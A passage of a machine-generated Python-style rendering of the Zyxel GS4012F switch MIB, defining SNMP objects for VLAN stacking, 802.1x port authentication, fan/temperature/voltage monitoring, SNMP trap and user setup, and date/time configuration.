"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.6.2",
"status" : "current",
"description" :
"""""",
}, # table
"ctlProtTransTunnelPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.6.2.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in ctlProtTransTunnelPortTable.""",
}, # row
"ctlProtTransTunnelMode" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.6.2.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"peer" : {
"nodetype" : "namednumber",
"number" : "0"
},
"tunnel" : {
"nodetype" : "namednumber",
"number" : "1"
},
"discard" : {
"nodetype" : "namednumber",
"number" : "2"
},
"network" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readwrite",
"description" :
"""Bridge control protocol transparency mode for the port.
Modes: Peer(0), Tunnel(1), Discard(2), Network(3)""",
}, # column
"vlanStackSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.7",
}, # node
"vlanStackState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.7.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""VLAN Stacking enabled/disabled for the switch.""",
}, # scalar
"vlanStackTpid" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.7.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""SP TPID in hex format, e.g. 8100.""",
}, # scalar
"vlanStackPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.7.3",
"status" : "current",
"description" :
"""""",
}, # table
"vlanStackPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.7.3.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in vlanStackPortTable.""",
}, # row
"vlanStackPortMode" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.7.3.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"normal" : {
"nodetype" : "namednumber",
"number" : "1"
},
"access" : {
"nodetype" : "namednumber",
"number" : "2"
},
"tunnel" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readwrite",
"description" :
"""Mode of the port.Set Access mode to have the switch add the SP TPID tag to all incoming
frames received on this port. Set Access mode for ingress ports at the
edge of the service provider's network. Set Tunnel mode (available for
Gigabit ports only) for egress ports at the edge of the service provider's
network. In order to support VLAN stacking on a port, the port must be able
to allow frames of 1526 Bytes (1522 Bytes + 4 Bytes for the second tag)
to pass through it. Access (0), tunnel (1)""",
}, # column
"vlanStackPortVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.7.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""VLAN ID used in service provider tag.""",
}, # column
"vlanStackPortPrio" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.7.3.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"prioriry-0" : {
"nodetype" : "namednumber",
"number" : "0"
},
"prioriry-1" : {
"nodetype" : "namednumber",
"number" : "1"
},
"prioriry-2" : {
"nodetype" : "namednumber",
"number" : "2"
},
"prioriry-3" : {
"nodetype" : "namednumber",
"number" : "3"
},
"prioriry-4" : {
"nodetype" : "namednumber",
"number" : "4"
},
"prioriry-5" : {
"nodetype" : "namednumber",
"number" : "5"
},
"prioriry-6" : {
"nodetype" : "namednumber",
"number" : "6"
},
"prioriry-7" : {
"nodetype" : "namednumber",
"number" : "7"
},
},
},
"access" : "readwrite",
"description" :
"""Priority value for service provider tag.
0 is the lowest priority level and 7 is the highest.""",
}, # column
"dot1xSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.8",
}, # node
"portAuthState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.8.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""802.1x port authentication enabled/disabled for the switch.""",
}, # scalar
"portAuthTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.8.4",
"status" : "current",
"description" :
"""""",
}, # table
"portAuthEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.8.4.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in portAuthTable.""",
}, # row
"portAuthEntryState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.8.4.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""802.1x port authentication enabled or disabled on the port.""",
}, # column
"portReAuthEntryState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.8.4.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""802.1x port re-authentication enabled or disabled on the port.""",
}, # column
"portReAuthEntryTimer" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.8.4.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Re-authentication timer in seconds.""",
}, # column
"hwMonitorInfo" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9",
}, # node
"fanRpmTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.1",
"status" : "current",
"description" :
"""""",
}, # table
"fanRpmEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.1.1",
"status" : "current",
"linkage" : [
"fanRpmIndex",
],
"description" :
"""An entry in fanRpmTable.""",
}, # row
"fanRpmIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Index of FAN.""",
}, # column
"fanRpmCurValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Current speed in Revolutions Per Minute (RPM) on the fan.""",
}, # column
"fanRpmMaxValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Maximum speed measured in Revolutions Per Minute (RPM) on the fan.""",
}, # column
"fanRpmMinValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Minimum speed measured in Revolutions Per Minute (RPM) on the fan.""",
}, # column
"fanRpmLowThresh" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.1.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The minimum speed at which a normal fan should work.""",
}, # column
"fanRpmDescr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.1.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""'Normal' indicates that this fan is functioning above the minimum speed.
'Error' indicates that this fan is functioning below the minimum speed.""",
}, # column
"tempTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.2",
"status" : "current",
"description" :
"""""",
}, # table
"tempEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.2.1",
"status" : "current",
"linkage" : [
"tempIndex",
],
"description" :
"""An entry in tempTable.""",
}, # row
"tempIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.2.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"mac" : {
"nodetype" : "namednumber",
"number" : "1"
},
"cpu" : {
"nodetype" : "namednumber",
"number" : "2"
},
"phy" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readonly",
"description" :
"""Index of temperature unit. 1:MAC, 2:CPU, 3:PHY""",
}, # column
"tempCurValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The current temperature measured at this sensor.""",
}, # column
"tempMaxValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The maximum temperature measured at this sensor.""",
}, # column
"tempMinValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The minimum temperature measured at this sensor.""",
}, # column
"tempHighThresh" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The upper temperature limit at this sensor.""",
}, # column
"tempDescr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.2.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""'Normal' indicates temperatures below the threshold and 'Error' for those above.""",
}, # column
"voltageTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3",
"status" : "current",
"description" :
"""""",
}, # table
"voltageEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3.1",
"status" : "current",
"linkage" : [
"voltageIndex",
],
"description" :
"""An entry in voltageTable.""",
}, # row
"voltageIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Index of voltage.""",
}, # column
"voltageCurValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The current voltage reading.""",
}, # column
"voltageMaxValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The maximum voltage measured at this point.""",
}, # column
"voltageMinValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The minimum voltage measured at this point.""",
}, # column
"voltageNominalValue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The normal voltage at wchich the switch work.""",
}, # column
"voltageLowThresh" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The minimum voltage at which the switch should work.""",
}, # column
"voltageDescr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.9.3.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""'Normal' indicates that the voltage is within an acceptable operating range
at this point; otherwise 'Error' is displayed.""",
}, # column
"snmpSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10",
}, # node
"snmpGetCommunity" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"snmpSetCommunity" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"snmpTrapCommunity" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"snmpTrapDestTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.4",
"status" : "current",
"description" :
"""""",
}, # table
"snmpTrapDestEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.4.1",
"create" : "true",
"status" : "current",
"linkage" : [
"snmpTrapDestIP",
],
"description" :
"""An entry in snmpTrapDestTable.""",
}, # row
"snmpTrapDestIP" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.4.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "noaccess",
"description" :
"""IP address of trap destination.""",
}, # column
"snmpTrapDestRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.4.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"snmpTrapDestPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.4.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""The UDP port of the trap destination.""",
}, # column
"snmpTrapVersion" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.4.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"v1" : {
"nodetype" : "namednumber",
"number" : "0"
},
"v2c" : {
"nodetype" : "namednumber",
"number" : "1"
},
"v3" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""The SNMP protocol version to send traps.""",
}, # column
"snmpTrapUserName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.4.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""The user name for sending SNMPv3 traps.""",
}, # column
"snmpVersion" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"v2c" : {
"nodetype" : "namednumber",
"number" : "0"
},
"v3" : {
"nodetype" : "namednumber",
"number" : "1"
},
"v3v2c" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""The SNMP version to be used. v3v2c means that the manager
can get/set by SNMPv3 and can get by SNMPv2c.""",
}, # scalar
"snmpUserTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.6",
"status" : "current",
"description" :
"""A table that contains SNMPv3 user information.""",
}, # table
"snmpUserEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.6.1",
"status" : "current",
"linkage" : [
"snmpUserName",
],
"description" :
"""An entry of snmpUserTable.""",
}, # row
"snmpUserName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.6.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""The user name.""",
}, # column
"snmpUserSecurityLevel" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.6.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"noAuthNoPriv" : {
"nodetype" : "namednumber",
"number" : "0"
},
"authNoPriv" : {
"nodetype" : "namednumber",
"number" : "1"
},
"authPriv" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""The level of security at which SNMP messages can be sent or
with which operations are being processed.""",
}, # column
"snmpUserAuthProtocol" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.6.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"md5" : {
"nodetype" : "namednumber",
"number" : "0"
},
"sha" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""The type of authentication protocol to be used.""",
}, # column
"snmpUserPrivProtocol" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.6.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"des" : {
"nodetype" : "namednumber",
"number" : "0"
},
"aes" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""The type of privacy protocol to be used.""",
}, # column
"snmpTrapGroupTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.7",
"status" : "current",
"description" :
"""""",
}, # table
"snmpTrapGroupEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.7.1",
"status" : "current",
"linkage" : [
"snmpTrapDestIP",
],
"description" :
"""An entry in snmpTrapGroupTable.""",
}, # row
"snmpTrapSystemGroup" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.7.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Bits",
"coldStart" : {
"nodetype" : "namednumber",
"number" : "0"
},
"warmStart" : {
"nodetype" : "namednumber",
"number" : "1"
},
"fanSpeed" : {
"nodetype" : "namednumber",
"number" : "2"
},
"temperature" : {
"nodetype" : "namednumber",
"number" : "3"
},
"voltage" : {
"nodetype" : "namednumber",
"number" : "4"
},
"reset" : {
"nodetype" : "namednumber",
"number" : "5"
},
"timeSync" : {
"nodetype" : "namednumber",
"number" : "6"
},
"intrusionlock" : {
"nodetype" : "namednumber",
"number" : "7"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"snmpTrapInterfaceGroup" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.7.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Bits",
"linkup" : {
"nodetype" : "namednumber",
"number" : "0"
},
"linkdown" : {
"nodetype" : "namednumber",
"number" : "1"
},
"autonegotiation" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"snmpTrapAAAGroup" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.7.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Bits",
"authentication" : {
"nodetype" : "namednumber",
"number" : "0"
},
"accounting" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"snmpTrapIPGroup" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.7.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Bits",
"ping" : {
"nodetype" : "namednumber",
"number" : "0"
},
"traceroute" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"snmpTrapSwitchGroup" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.10.7.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Bits",
"stp" : {
"nodetype" : "namednumber",
"number" : "0"
},
"mactable" : {
"nodetype" : "namednumber",
"number" : "1"
},
"rmon" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dateTimeSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11",
}, # node
"dateTimeServerType" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "1"
},
"daytime" : {
"nodetype" : "namednumber",
"number" : "2"
},
"time" : {
"nodetype" : "namednumber",
"number" : "3"
},
"ntp" : {
"nodetype" : "namednumber",
"number" : "4"
},
},
},
"access" : "readwrite",
"description" :
"""The time service protocol.""",
}, # scalar
"dateTimeServerIP" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""IP address of time server.""",
}, # scalar
"dateTimeZone" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""The time difference between UTC. Ex: +01""",
}, # scalar
"dateTimeNewDateYear" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""The new date in year.""",
}, # scalar
"dateTimeNewDateMonth" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""The new date in month.""",
}, # scalar
"dateTimeNewDateDay" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""The new date in day.""",
}, # scalar
"dateTimeNewTimeHour" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""The new time in hour.""",
}, # scalar
"dateTimeNewTimeMinute" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""The new time in minute.""",
}, # scalar
"dateTimeNewTimeSecond" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""The new time in second.""",
}, # scalar
"dateTimeDaylightSavingTimeSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10",
}, # node
"daylightSavingTimeState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service enabled/disabled for the switch.""",
}, # scalar
"daylightSavingTimeStartDateWeek" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"first" : {
"nodetype" : "namednumber",
"number" : "1"
},
"second" : {
"nodetype" : "namednumber",
"number" : "2"
},
"third" : {
"nodetype" : "namednumber",
"number" : "3"
},
"fourth" : {
"nodetype" : "namednumber",
"number" : "4"
},
"last" : {
"nodetype" : "namednumber",
"number" : "5"
},
},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service start week.""",
}, # scalar
"daylightSavingTimeStartDateDay" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"sunday" : {
"nodetype" : "namednumber",
"number" : "0"
},
"monday" : {
"nodetype" : "namednumber",
